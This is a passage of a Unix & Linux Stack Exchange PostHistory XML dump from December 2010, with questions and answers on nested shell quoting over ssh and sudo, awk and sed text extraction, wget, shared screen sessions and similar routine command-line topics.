program. The obvious choice is to use single quote in the shell around the whole program.&#xD;&#xA;&#xD;&#xA;* `'{print $1}'`&#xD;&#xA;&#xD;&#xA;There are other choices though:&#xD;&#xA;&#xD;&#xA;* `{print\ \$1}` directly escape the space and `$`&#xD;&#xA;* `{print' $'1}` single quote only the space and `$`&#xD;&#xA;* `&quot;{print \$1}&quot;` double quote the whole and escape the `$`&#xD;&#xA;* `{print&quot; $&quot;1}` double quote only the space and `$`  &#xD;&#xA;This may be bending the rules a bit (unescaped `$` at the end of a double quoted string is literal), but it seems to work in most shells.&#xD;&#xA;&#xD;&#xA;If the program used a comma between the open and close curly braces we would also need to quote or escape either the comma or the curly braces to avoid “brace expansion” in some shells.&#xD;&#xA;&#xD;&#xA;We pick `'{print $1}'` and embed it in the rest of the shell “code”:&#xD;&#xA;&#xD;&#xA;    pgrep -fl java | grep -i datanode | awk '{print $1}'&#xD;&#xA;&#xD;&#xA;Next, you wanted to run this via *su* and *sudo*.&#xD;&#xA;&#xD;&#xA;    sudo su user -c …&#xD;&#xA;&#xD;&#xA;`su user -c …` is just like `some-shell -c …` (except running under some other UID), so *su* just adds another shell level. *sudo* does not interpret its arguments, so it does not add any quoting levels.&#xD;&#xA;&#xD;&#xA;We need another shell level for our command string. We can pick single quoting again, but we have to give special handling to the existing single quotes. The usual way looks like this:&#xD;&#xA;&#xD;&#xA;    'pgrep -fl java | grep -i datanode | awk '\''{print $1}'\'&#xD;&#xA;&#xD;&#xA;There are four strings here that the shell will interpret and concatenate: the first single quoted string (`pgrep … awk `), an escaped single quote, the single-quoted *awk* program, another escaped single quote. &#xD;&#xA;&#xD;&#xA;There are, of course many alternatives:&#xD;&#xA;&#xD;&#xA;* `pgrep\ -fl\ java\ \|\ grep\ -i\ datanode\ \|\ awk\ \'{print\ \$1}` escape everything important&#xD;&#xA;* `pgrep\ -fl\ java\|grep\ -i\ datanode\|awk\ \'{print\$1}` the same, but without superfluous whitespace (even in the *awk* program!)&#xD;&#xA;* `&quot;pgrep -fl java | grep -i datanode | awk '{print \$1}'&quot;` double quote the whole thing, escape the `$`&#xD;&#xA;* `'pgrep -fl java | grep -i datanode | awk '&quot;'&quot;'{print \$1}'&quot;'&quot;` your variation; a bit longer than the usual way due to using double quotes (two characters) instead of escapes (one character)&#xD;&#xA;&#xD;&#xA;Using different quoting in the first level allows for other variations at this level:&#xD;&#xA;&#xD;&#xA;* `'pgrep -fl java | grep -i datanode | awk &quot;{print \$1}&quot;'`&#xD;&#xA;* `'pgrep -fl java | grep -i datanode | awk {print\ \$1}'`&#xD;&#xA;&#xD;&#xA;Embedding the first variation in the *sudo*/*su* command line give this:&#xD;&#xA;&#xD;&#xA;    sudo su user -c 'pgrep -fl java | grep -i datanode | awk '\''{print $1}'\'&#xD;&#xA;&#xD;&#xA;You could use the same string in any other single shell level contexts (e.g. `ssh host …`).&#xD;&#xA;&#xD;&#xA;Next, you added a level of *ssh* on top. This is effectively another shell level: *ssh* does not interpret the command itself, but it hands it to a shell on the remote end (via (e.g.) `sh -c …`) and that shell interprets the string.&#xD;&#xA;&#xD;&#xA;    ssh host …&#xD;&#xA;&#xD;&#xA;The process is the same: take the string, pick a quoting method, use it, embed it.&#xD;&#xA;&#xD;&#xA;Using single quotes again:&#xD;&#xA;&#xD;&#xA;    'sudo su user -c '\''pgrep -fl java | grep -i datanode | awk '\'\\\'\''{print $1}'\'\\\'&#xD;&#xA;&#xD;&#xA;Now there are eleven strings that are interpreted and concatenated: `'sudo su user -c '`, escaped single quote, `'pgrep … awk '`, escaped single quote, escaped backslash, two escaped single quotes, the single quoted *awk* program, an escaped single quote, an escaped backslash, and a final escaped single quote.&#xD;&#xA;&#xD;&#xA;The final form looks like this:&#xD;&#xA;&#xD;&#xA;    ssh host 'sudo su user -c '\''pgrep -fl java | grep -i datanode | awk '\'\\\'\''{print $1}'\'\\\'&#xD;&#xA;&#xD;&#xA;This is a bit unwieldy to type by hand, but the literal nature of the shell’s single quoting makes it easy to automate a slight variation:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    sq() { # single quote for Bourne shell evaluation&#xD;&#xA;        # Change ' to '\'' and wrap in single quotes.&#xD;&#xA;        # If original starts/ends with a single quote, creates useless&#xD;&#xA;        # (but harmless) '' at beginning/end of result.&#xD;&#xA;        printf '%s\n' &quot;$*&quot; | sed -e &quot;s/'/'\\\\''/g&quot; -e 1s/^/\'/ -e \$s/\$/\'/&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Some shells (ksh, bash, zsh) can do something similar with %q, but&#xD;&#xA;    # the result may not be compatible with other shells (ksh uses $'...',&#xD;&#xA;    # but dash does not recognize it).&#xD;&#xA;    #&#xD;&#xA;    # sq() { printf %q &quot;$*&quot;; }&#xD;&#xA;    &#xD;&#xA;    ap='{print $1}'&#xD;&#xA;    s1=&quot;pgrep -fl java | grep -i datanode | awk $(sq &quot;$ap&quot;)&quot;&#xD;&#xA;    s2=&quot;sudo su user -c $(sq &quot;$s1&quot;)&quot;&#xD;&#xA;    &#xD;&#xA;    ssh host &quot;$(sq &quot;$s2&quot;)&quot;" />
  <row Id="10483" PostHistoryTypeId="2" PostId="4776" RevisionGUID="65ebc2b9-b42f-49e4-afaa-89f7ade7f1bf" CreationDate="2010-12-12T15:51:32.997" UserId="885" Text="See [Chris Johnsen's answer](http://unix.stackexchange.com/questions/4770/quoting-in-ssh-host-foo-and-ssh-host-sudo-su-user-c-foo-type-constructs/4774#4774) for a clear, in-depth explanation with a general solution. I'm going to give a few extra tips that help in some common circumstances.&#xD;&#xA;&#xD;&#xA;Single quotes escape everything but a single quote. So if you know the value of a variable doesn't include any single quote, you can interpolate it safely between single quotes in a shell script.&#xD;&#xA;&#xD;&#xA;    su -c &quot;grep '$pattern' /root/file&quot;  # assuming there is no ' in $pattern&#xD;&#xA;&#xD;&#xA;If your local shell is ksh93 or zsh, you can cope with single quotes in the variable by rewriting them to `'\''`. (Although bash also has the `${foo//pattern/replacement}` construct, its handling of single quotes doesn't make sense to me.)&#xD;&#xA;&#xD;&#xA;    su -c &quot;grep '${pattern//'/'\''}' /root/file&quot;  # if the outer shell is zsh&#xD;&#xA;    su -c &quot;grep '${pattern//\'/\'\\\'\'}' /root/file&quot;  # if the outer shell is ksh93&#xD;&#xA;&#xD;&#xA;Another tip to avoid having to deal with nested quoting is to pass strings through environment variables as much as possible. Ssh and sudo tend to drop most environment variables, but they're often configured to let `LC_*` through, because these are normally very important for usability (they contain locale information) and are rarely considered security sensitive.&#xD;&#xA;&#xD;&#xA;    LC_CMD='what you would use locally' ssh $host 'sudo su user -c &quot;$LC_CMD&quot;'&#xD;&#xA;&#xD;&#xA;Here, since `LC_CMD` contains a shell snippet, it must be provided literally to the innermost shell. Therefore the variable is expanded by the shell immediately above. The innermost-but-one shell sees `&quot;$LC_CMD&quot;`, and the innermost shell sees the commands.&#xD;&#xA;&#xD;&#xA;A similar method is useful to pass data to a text processing utility. If you use shell interpolation, the utility will treat the value of the variable as a command, e.g. `sed &quot;s/$pattern/$replacement/&quot;` won't work if the variables contain `/`. So use awk (not sed), and either its `-v` option or the `ENVIRON` array to pass data from the shell (if you go through `ENVIRON`, remember to export the variables).&#xD;&#xA;&#xD;&#xA;    awk -vpattern=&quot;$pattern&quot; replacement=&quot;$replacement&quot; '{gsub(pattern,replacement); print}'&#xD;&#xA;" />
  <row Id="10484" PostHistoryTypeId="2" PostId="4777" RevisionGUID="806f6b37-7b0c-4b82-b977-6a38dec99234" CreationDate="2010-12-12T17:13:51.850" UserId="3070" Text="Hi,&#xD;&#xA;as far as i know all unix text processing utilities are reading one line at a time and performing one action on this line.&#xD;&#xA;&#xD;&#xA;I have a huge file with a single line of text which contains several tokens im concerned with.&#xD;&#xA;&#xD;&#xA;You can think of the content of the file as something like this:&#xD;&#xA;xzxzxzzxzxAxzzBxzxCzxxzxxzxzzxzxzAzBzxxxxzzCzxzxzxzxzxxzz&#xD;&#xA;&#xD;&#xA;I want to get the two strings between (A and B) and (B and C) for every occurrence of A.*B.*C.&#xD;&#xA;In this example my desired output would be this:&#xD;&#xA;&#xD;&#xA;xzz xzx&#xD;&#xA;&#xD;&#xA;z zxxxxzz&#xD;&#xA;&#xD;&#xA;How do i do this?" />
  <row Id="10485" PostHistoryTypeId="1" PostId="4777" RevisionGUID="806f6b37-7b0c-4b82-b977-6a38dec99234" CreationDate="2010-12-12T17:13:51.850" UserId="3070" Text="Searching a text file with a single line using regular expressions." />
  <row Id="10486" PostHistoryTypeId="3" PostId="4777" RevisionGUID="806f6b37-7b0c-4b82-b977-6a38dec99234" CreationDate="2010-12-12T17:13:51.850" UserId="3070" Text="écommandölineàétextöprocessingà" />
  <row Id="10487" PostHistoryTypeId="2" PostId="4778" RevisionGUID="a9917de9-37bb-40f1-8c62-34f8bf0aa808" CreationDate="2010-12-12T17:31:49.923" UserId="825" Text="If the line can fit into memory, then repeated use of the split function from Perl would work.  Otherwise, I would read the file in blocks (with the Perl sysread function) and process each block individually as above -- allowing for stings of interest to cross block boundaries.  " />
  <row Id="10488" PostHistoryTypeId="2" PostId="4779" RevisionGUID="993656fe-451e-4942-999e-43b6f4c51f66" CreationDate="2010-12-12T17:41:28.087" UserId="1207" Text="I'm sure there are many interesting answers using `awk`,`perl`,`sed`, and others.  Here is a rather simplistic options that uses `tr` to turn this problem back into one a problem that we know how to solve--finding a pattern within a line:&#xD;&#xA;&#xD;&#xA;     $ tr 'C' '\n' &lt;test.file | sed -n 's/.*A\(.*\)B\(.*$\)/\1 \2/p'&#xD;&#xA;&#xD;&#xA;The `tr 'C' '\n'` command translates any &quot;C&quot; in the input into a newline character.  Thus, it is then necessary to just pipe it into a command that will output the text between A and B and between B and the end of the line.&#xD;&#xA;" />
  <row Id="10489" PostHistoryTypeId="5" PostId="4777" RevisionGUID="2ee950df-d41d-4f48-85dc-cf1b40659146" CreationDate="2010-12-12T17:43:52.373" UserId="3070" Comment="added 120 characters in body" Text="Hi,&#xD;&#xA;as far as i know all unix text processing utilities are reading one line at a time and performing one action on this line.&#xD;&#xA;&#xD;&#xA;I have a huge file with a single line of text which contains several tokens im concerned with.&#xD;&#xA;&#xD;&#xA;You can think of the content of the file as something like this:&#xD;&#xA;xzxzxzzxzxAxzzBxzxCzxxzxxzxzzxzxzAzBzxxxxzzCzxzxzxzxzxxzz&#xD;&#xA;&#xD;&#xA;I want to get the two strings between (A and B) and (B and C) for every occurrence of A.*B.*C.&#xD;&#xA;In this example my desired output would be this:&#xD;&#xA;&#xD;&#xA;xzz xzx&#xD;&#xA;&#xD;&#xA;z zxxxxzz&#xD;&#xA;&#xD;&#xA;How do i do this?&#xD;&#xA;&#xD;&#xA;edit: sorry, i didn't make it clear. A, B and C are long Strings that can only be identified by regular expressions." />
  <row Id="10490" PostHistoryTypeId="5" PostId="4779" RevisionGUID="1fe41eeb-1fb3-4ab9-9379-e9d02853a2a8" CreationDate="2010-12-12T17:53:55.653" UserId="1207" Comment="added 224 characters in body" Text="I'm sure there are many interesting answers using `awk`,`perl`,`sed`, and others.  Here is a rather simplistic options that uses `tr` to turn this problem back into one a problem that we know how to solve--finding a pattern within a line:&#xD;&#xA;&#xD;&#xA;     $ tr 'C' '\n' &lt;test.file | sed -n 's/.*A\(.*\)B\(.*$\)/\1 \2/p'&#xD;&#xA;&#xD;&#xA;The `tr 'C' '\n'` command translates any &quot;C&quot; in the input into a newline character.  Thus, it is then necessary to just pipe it into a command that will output the text between A and B and between B and the end of the line.&#xD;&#xA;&#xD;&#xA;If A, B, and C are regular expressions rather than simple characters, try:&#xD;&#xA;&#xD;&#xA;    sed -e 's/C/\n/g' &lt; test.file | sed -n 's/.*A\(.*\)B\(.*\)/\1 \2/p'&#xD;&#xA;&#xD;&#xA;This uses the same basic idea, but uses `sed` to create the newlines." />
  <row Id="10491" PostHistoryTypeId="2" PostId="4780" RevisionGUID="a3ab2024-d174-497f-b82f-f9c85e608304" CreationDate="2010-12-12T18:08:16.353" UserId="885" Text="[Awk](http://www.opengroup.org/onlinepubs/009695399/utilities/awk.html) generalizes the notion of lines to record, which can be terminated by any character. Several implementations, such as [Gawk](http://www.gnu.org/software/gawk/), support an arbitrary regular expression as the record separator. Untested:&#xD;&#xA;&#xD;&#xA;    gawk -vRS='C' 'sub(/.*A/, &quot;&quot;) &amp;&amp; sub(/B.*/) {print}'&#xD;&#xA;" />
  <row Id="10492" PostHistoryTypeId="2" PostId="4781" RevisionGUID="96de3dc5-117f-4cda-be6b-42525fe99bb7" CreationDate="2010-12-12T20:43:21.487" UserId="1974" Text="Mozilla Thunderbird's message list, mailbox list, and headers use a font size that is so large, I can barely see any content in the message preview pane. I'd like to reduce these to 10px, and reduce the headers to 8px or less. How can I do this?" />
  <row Id="10493" PostHistoryTypeId="1" PostId="4781" RevisionGUID="96de3dc5-117f-4cda-be6b-42525fe99bb7" CreationDate="2010-12-12T20:43:21.487" UserId="1974" Text="How can I customize the look of Thunderbird's mailbox list, message list, and headers?" />
  <row Id="10494" PostHistoryTypeId="3" PostId="4781" RevisionGUID="96de3dc5-117f-4cda-be6b-42525fe99bb7" CreationDate="2010-12-12T20:43:21.487" UserId="1974" Text="éx11àéfontsàéthunderbirdà" />
  <row Id="10495" PostHistoryTypeId="2" PostId="4782" RevisionGUID="1e0b2fc2-4832-47bb-a34f-1c3d7b1a18a8" CreationDate="2010-12-12T22:48:52.817" UserId="3075" Text="So i have a scirpt that when i give it two adresses. It will search two html likes&#xD;&#xA;&#xD;&#xA;&lt;code&gt;echo http: //maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 |  sed 's/ /%/g'&#xD;&#xA;&#xD;&#xA;I want to send this to wget and then save the output in a file called temp.html or something&#xD;&#xA;&#xD;&#xA;So i tought to do this but this doenst work. Can someone explain me why and/or give me a solution please?&#xD;&#xA;&#xD;&#xA;&lt;code&gt;#!/bin/bash&#xD;&#xA;&#xD;&#xA;&lt;code&gt;url = echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 |  sed 's/ /%/g'&#xD;&#xA;&#xD;&#xA;&lt;code&gt;wget $url&#xD;&#xA;" />
  <row Id="10496" PostHistoryTypeId="1" PostId="4782" RevisionGUID="1e0b2fc2-4832-47bb-a34f-1c3d7b1a18a8" CreationDate="2010-12-12T22:48:52.817" UserId="3075" Text="how to send something to wget" />
  <row Id="10497" PostHistoryTypeId="3" PostId="4782" RevisionGUID="1e0b2fc2-4832-47bb-a34f-1c3d7b1a18a8" CreationDate="2010-12-12T22:48:52.817" UserId="3075" Text="ébashàéunixà" />
  <row Id="10498" PostHistoryTypeId="2" PostId="4783" RevisionGUID="1e881583-0674-4eef-acbc-351424df04dc" CreationDate="2010-12-12T23:03:52.007" UserId="2759" Text="you're not actually executing your url line :&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    url=&quot;$(echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 | sed 's/ /%/g')&quot;&#xD;&#xA;    wget $url" />
  <row Id="10499" PostHistoryTypeId="2" PostId="4784" RevisionGUID="1513e32d-02dc-47f4-be6c-257352cbe310" CreationDate="2010-12-13T00:24:49.397" UserId="3038" Text="[BerliOS][1] also hosts a good number of UNIX/Linux applications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourcewell.berlios.de/categories.php" />
  <row Id="10504" PostHistoryTypeId="2" PostId="4786" RevisionGUID="95832633-494f-4679-a319-9a6e27e29460" CreationDate="2010-12-13T02:15:53.887" UserId="3077" Text="A friend, using a remote machine, SSHed to my machine and ran the following python script:&#xD;&#xA;&#xD;&#xA;________________&#xD;&#xA;while (1):&#xD;&#xA;&#xD;&#xA;....print &quot;hello world&quot;&#xD;&#xA;________________&#xD;&#xA;&#xD;&#xA;(this script simply prints 'hello world' continuously).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am now logged in to my machine. How can I see the output of the script my friend was running?&#xD;&#xA;&#xD;&#xA;_______________________&#xD;&#xA;if it helps, I can 'spot' the script my friend is using:&#xD;&#xA;&#xD;&#xA;me@home:~$ ps aux | grep justprint.py&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**friend 7494 12.8 0.3 7260 3300 ? Ss 17:24 0:06 python TEST_AREA/justprint.py**&#xD;&#xA;&#xD;&#xA;friend 7640 0.0 0.0 3320 800 pts/3 S+ 17:25 0:00 grep --color=auto just&#xD;&#xA;&#xD;&#xA;_______________________&#xD;&#xA;&#xD;&#xA;what steps should I take in order to view the &quot;hello world&quot; messages on my screen?&#xD;&#xA;" />
  <row Id="10505" PostHistoryTypeId="1" PostId="4786" RevisionGUID="95832633-494f-4679-a319-9a6e27e29460" CreationDate="2010-12-13T02:15:53.887" UserId="3077" Text="View Script Over SSH?" />
  <row Id="10506" PostHistoryTypeId="3" PostId="4786" RevisionGUID="95832633-494f-4679-a319-9a6e27e29460" CreationDate="2010-12-13T02:15:53.887" UserId="3077" Text="élinuxàéubuntuàésshàépythonà" />
  <row Id="10507" PostHistoryTypeId="2" PostId="4787" RevisionGUID="fbf3ceb1-14c9-4ba4-afdc-b517393a9aae" CreationDate="2010-12-13T02:53:15.507" UserId="2511" Text="You generally can't see the output of anther person's program.  See over in that column where your grep command is running on tty `pts/3`, and your friend's is `?`, which means it's detached from the terminal.&#xD;&#xA;&#xD;&#xA;You could see where the output is going with `ls -l /proc/7494/fd/` (where 7494 is the process ID of your friend's process) — although if you're not running as root, you probably can't even look, for security reasons. (So try `sudo ls -l /proc/7494/fd/`.)&#xD;&#xA;&#xD;&#xA;There are horrible, horrible, kludgy things you might be able to do to change where the output of the program goes. But in general, you can't and shouldn't.&#xD;&#xA;&#xD;&#xA;If your friend wants to share the output with you, and approach would be to redirect the output of the program to a file, and then make that file readable by you:&#xD;&#xA;&#xD;&#xA;    $ python -u TEST_AREA/justprint.py &gt; /tmp/justprint.out &amp;&#xD;&#xA;    $ chmod a+r /tmp/justprint.out&#xD;&#xA;&#xD;&#xA;(Where in this case &quot;readable by you&quot; is &quot;readable by everyone&quot;; with a little more work you can set up a shared group so just the two of you can exchange output.)&#xD;&#xA;&#xD;&#xA;(And be aware that python buffers output by default — turning that off is what the `-u` is for.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10509" PostHistoryTypeId="2" PostId="4788" RevisionGUID="5760a08b-7cbb-40fe-b5da-5af9b902727b" CreationDate="2010-12-13T07:54:59.163" UserId="3069" Text="wget also accepts stdin with the '-' switch:&#xD;&#xA;&#xD;&#xA;    echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 | sed 's/ /%/g' | wget -i-" />
  <row Id="10510" PostHistoryTypeId="2" PostId="4789" RevisionGUID="226ea606-067f-4d7a-a57a-bb54ed405b52" CreationDate="2010-12-13T08:39:55.503" UserId="3069" Text="If you have root access on the machine and your friend is willing to execute some commands, it is possible:&#xD;&#xA;&#xD;&#xA; 1. [Root] `screen` has to be **setuid root**: `chmod u+s /usr/bin/screen`&#xD;&#xA; 2. [Friend] starts `screen`, he can give the session a name, makes it easier: &#xD;&#xA;`screen -S &quot;shared_session&quot;`&#xD;&#xA; 3. [Friend] enables multiuser mode: `Ctrl-a :multiuser on`&#xD;&#xA; 4. [Friend] enables you to access his screen session: `Ctrl-a :acladd you`&#xD;&#xA; 5. [Friend] (Optional) restrictes your access to read-only: `Ctrl-a :aclchg you -w &quot;#&quot;`&#xD;&#xA; 6. [You] attach onto friends screen: `screen -x friend/shared_session`&#xD;&#xA;&#xD;&#xA;The setuid root is maybe a bit dangerous..." />
  <row Id="10511" PostHistoryTypeId="2" PostId="4790" RevisionGUID="362480d9-aff1-4468-9c8d-004c1467c1a2" CreationDate="2010-12-13T09:23:22.653" UserId="2344" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have a small Windows domain, contains DHCT, DNS, Active Directory, CA etc.&#xD;&#xA;&#xD;&#xA;I'm trying to connect a SLED 11 to the domain according to found-by-Google-search guides but all what I've found was irrelevant and not up to date.&#xD;&#xA;&#xD;&#xA;Can someone please link me to an up to date, clear one?&#xD;&#xA;&#xD;&#xA;(What I want to be able to do is to log-on to the SUSE machine with a Windows active directory user, and to mount Windows shared folders).&#xD;&#xA;&#xD;&#xA;Thank you very much!!" />
  <row Id="10512" PostHistoryTypeId="1" PostId="4790" RevisionGUID="362480d9-aff1-4468-9c8d-004c1467c1a2" CreationDate="2010-12-13T09:23:22.653" UserId="2344" Text="How to add SLED 11 system to windows domain" />
  <row Id="10513" PostHistoryTypeId="3" PostId="4790" RevisionGUID="362480d9-aff1-4468-9c8d-004c1467c1a2" CreationDate="2010-12-13T09:23:22.653" UserId="2344" Text="éwindowsàésuseàéactivedirectoryà" />
  <row Id="10514" PostHistoryTypeId="2" PostId="4791" RevisionGUID="158af46f-1143-4837-a2d9-a32600b96009" CreationDate="2010-12-13T09:28:04.570" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know if i can use the **diff** tool to take the difference between two folders which contain sources as well as libraries and executable.  &#xD;&#xA;&#xD;&#xA;Right now i gave &#xD;&#xA;&#xD;&#xA;&gt; diff -Naur dir1/ dir2/&#xD;&#xA;&#xD;&#xA;It is comparing the executables within the directories and is dumping junk values.  &#xD;&#xA;Is there any way to remove the libraries and executable while comparing these directories.   &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen " />
  <row Id="10515" PostHistoryTypeId="1" PostId="4791" RevisionGUID="158af46f-1143-4837-a2d9-a32600b96009" CreationDate="2010-12-13T09:28:04.570" UserId="2871" Text="How to use diff tool to take a diff between directories with libraries and source?" />
  <row Id="10516" PostHistoryTypeId="3" PostId="4791" RevisionGUID="158af46f-1143-4837-a2d9-a32600b96009" CreationDate="2010-12-13T09:28:04.570" UserId="2871" Text="élinuxàédirectoryàédiffà" />
  <row Id="10517" PostHistoryTypeId="2" PostId="4792" RevisionGUID="a925672f-5d8c-4c40-ac93-34fcc27e894c" CreationDate="2010-12-13T10:01:00.973" UserId="3069" Text="Don't use the -a switch.&#xD;&#xA;&#xD;&#xA;    diff -Nur dir1/ dir2/&#xD;&#xA;This will only output 'Files dir1/afile and dir2/afile differ' on binary files." />
  <row Id="10518" PostHistoryTypeId="2" PostId="4793" RevisionGUID="404f6585-de29-4bd2-8499-d8ca6e7a4193" CreationDate="2010-12-13T13:00:23.650" UserId="3069" Text="There aren't that much bash completion tutorials around, this one is pretty good:&#xD;&#xA;&#xD;&#xA;[Introduction to Bash Completion][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian-administration.org/articles/316&#xD;&#xA;&#xD;&#xA; - Part 1 is for general knowledge&#xD;&#xA; - Part 2 covers creating scripts in /etc/bash_completion.d/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10519" PostHistoryTypeId="2" PostId="4794" RevisionGUID="27756bf3-3be2-473a-a44f-ca85e5705108" CreationDate="2010-12-13T13:48:36.830" UserId="3084" Text="In Linux, I could discover the number of running and blocked processes running&#xD;&#xA;&#xD;&#xA;    grep &quot;procs_running&quot; /proc/stat&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    grep &quot;procs_blocked&quot; /proc/stat&#xD;&#xA;&#xD;&#xA;Is there a way to do it in Mac OS X? Preferably, a way which I could use in a shell script?&#xD;&#xA;" />
  <row Id="10520" PostHistoryTypeId="1" PostId="4794" RevisionGUID="27756bf3-3be2-473a-a44f-ca85e5705108" CreationDate="2010-12-13T13:48:36.830" UserId="3084" Text="Discovering the number of running and blocked processes in Mac OS X" />
  <row Id="10521" PostHistoryTypeId="3" PostId="4794" RevisionGUID="27756bf3-3be2-473a-a44f-ca85e5705108" CreationDate="2010-12-13T13:48:36.830" UserId="3084" Text="éprocessàéosxà" />
  <row Id="10522" PostHistoryTypeId="4" PostId="4738" RevisionGUID="e619cfba-3dfa-4aaf-a533-ea8e4203351a" CreationDate="2010-12-13T13:50:34.133" UserId="688" Comment="grammar" Text="An easy bash completion tutorial?" />
  <row Id="10524" PostHistoryTypeId="2" PostId="4795" RevisionGUID="ca3d811d-c5dd-4f3a-8c7a-5720fe87f7f2" CreationDate="2010-12-13T14:42:10.010" UserId="1974" Text="I'm trying to put in an email the temperature outside in degrees. On my Mac, the degree symbol (`°`) is &lt;kbd&gt;Option&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;8&lt;/kbd&gt;. But I'm writing the email in Thunderbird on an Ubuntu 10.10 with the default US English keyboard layout. What key combination do I use to get the degree symbol under X11?" />
  <row Id="10525" PostHistoryTypeId="1" PostId="4795" RevisionGUID="ca3d811d-c5dd-4f3a-8c7a-5720fe87f7f2" CreationDate="2010-12-13T14:42:10.010" UserId="1974" Text="How do I type the degree symbol under X11 (using a default English keyboard layout)?" />
  <row Id="10526" PostHistoryTypeId="3" PostId="4795" RevisionGUID="ca3d811d-c5dd-4f3a-8c7a-5720fe87f7f2" CreationDate="2010-12-13T14:42:10.010" UserId="1974" Text="ékeyboardàéx11àéspecialöcharactersà" />
  <row Id="10527" PostHistoryTypeId="2" PostId="4796" RevisionGUID="b614f97c-c310-4ffe-9cd4-e9e27b9a861f" CreationDate="2010-12-13T14:51:39.160" UserId="252" Text="`&lt;Ctrl&gt;` + `&lt;Shift&gt;` + `&lt;u&gt;` (this will show an underlined u) and then the unicode value (in this case `B0`) and follow it by an `&lt;enter&gt;`." />
  <row Id="10528" PostHistoryTypeId="5" PostId="4795" RevisionGUID="ee1ddbdc-796a-4b03-8682-edef6c7ba120" CreationDate="2010-12-13T14:56:41.827" UserId="1974" Comment="added 133 characters in body" Text="I'm trying to put in an email the temperature outside in degrees. On my Mac, the degree symbol (`°`) is &lt;kbd&gt;Option&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;8&lt;/kbd&gt;. But I'm writing the email in Thunderbird on an Ubuntu 10.10 with the default US English keyboard layout. What key combination do I use to get the degree symbol under X11?&#xD;&#xA;&#xD;&#xA;**EDIT:** Gert successfully answered the question... but, bonus points for any easier to use keystroke than what's in his answer!" />
  <row Id="10529" PostHistoryTypeId="5" PostId="4796" RevisionGUID="a5110877-460f-4a56-b8c3-33a162560c07" CreationDate="2010-12-13T14:58:22.277" UserId="252" Comment="Prettify keypresses" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;u&lt;/kbd&gt; (this will show an underlined u) and then the unicode value (in this case `B0`) and follow it by an &lt;kbd&gt;enter&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="10530" PostHistoryTypeId="5" PostId="4782" RevisionGUID="01d849db-3767-46e0-9fce-604ab2b943ca" CreationDate="2010-12-13T15:14:06.307" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="So I have a script that, when I give it two addresses, will search two HTML links:&#xD;&#xA;&#xD;&#xA;    echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 | sed 's/ /%/g'&#xD;&#xA;&#xD;&#xA;I want to send this to `wget` and then save the output in a file called `temp.html`. I tried this, but ut doens't work. Can someone explain why and/or give me a solution please?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    url = echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 |  sed 's/ /%/g'&#xD;&#xA;    wget $url&#xD;&#xA;" />
  <row Id="10531" PostHistoryTypeId="4" PostId="4782" RevisionGUID="01d849db-3767-46e0-9fce-604ab2b943ca" CreationDate="2010-12-13T15:14:06.307" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="How to pass the output of one command as the command-line argument to another?" />
  <row Id="10532" PostHistoryTypeId="6" PostId="4782" RevisionGUID="01d849db-3767-46e0-9fce-604ab2b943ca" CreationDate="2010-12-13T15:14:06.307" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="écommandölineàébashàéunixà" />
  <row Id="10533" PostHistoryTypeId="2" PostId="4797" RevisionGUID="5feace3c-f03c-4b81-88dd-afd951950455" CreationDate="2010-12-13T15:18:06.177" UserId="73" Text="You can use backticks (\`) to evaluate a command and substitute in the command's output, like:&#xD;&#xA;&#xD;&#xA;    echo &quot;Number of files in this directory: `ls | wc -l`&quot;&#xD;&#xA;&#xD;&#xA;In your case:&#xD;&#xA;&#xD;&#xA;    wget `echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 | sed 's/ /%/g'`&#xD;&#xA;" />
  <row Id="10534" PostHistoryTypeId="2" PostId="4798" RevisionGUID="1a727e21-27ba-41e7-8c9c-9b82d150b3bf" CreationDate="2010-12-13T15:22:47.637" UserId="3032" Text="Thunderbird is written is XUL. It's Mozilla's markup language, and it's powered by XULRunner. Basically, it's GUI-oriented XML.&#xD;&#xA;&#xD;&#xA;The thing that styles the whole application is actually just a simple `.css` file. If you find it, you can then find the elements you are looking for and just tweak the CSS. I'll post back the required path to the file and the rules to be tweaked." />
  <row Id="10535" PostHistoryTypeId="2" PostId="4799" RevisionGUID="48d1b889-2812-4d96-aa9e-0a7919b0c40c" CreationDate="2010-12-13T15:30:52.900" UserId="732" Text="You could use &quot;xargs&quot;.  A trivial example:&#xD;&#xA;&#xD;&#xA;    ls -1 *.c | sort -n | xargs cat&#xD;&#xA;&#xD;&#xA;You would have to take care that xargs doesn't split its stdin into two or more invocations of the comman (&quot;cat&quot; in the example above)." />
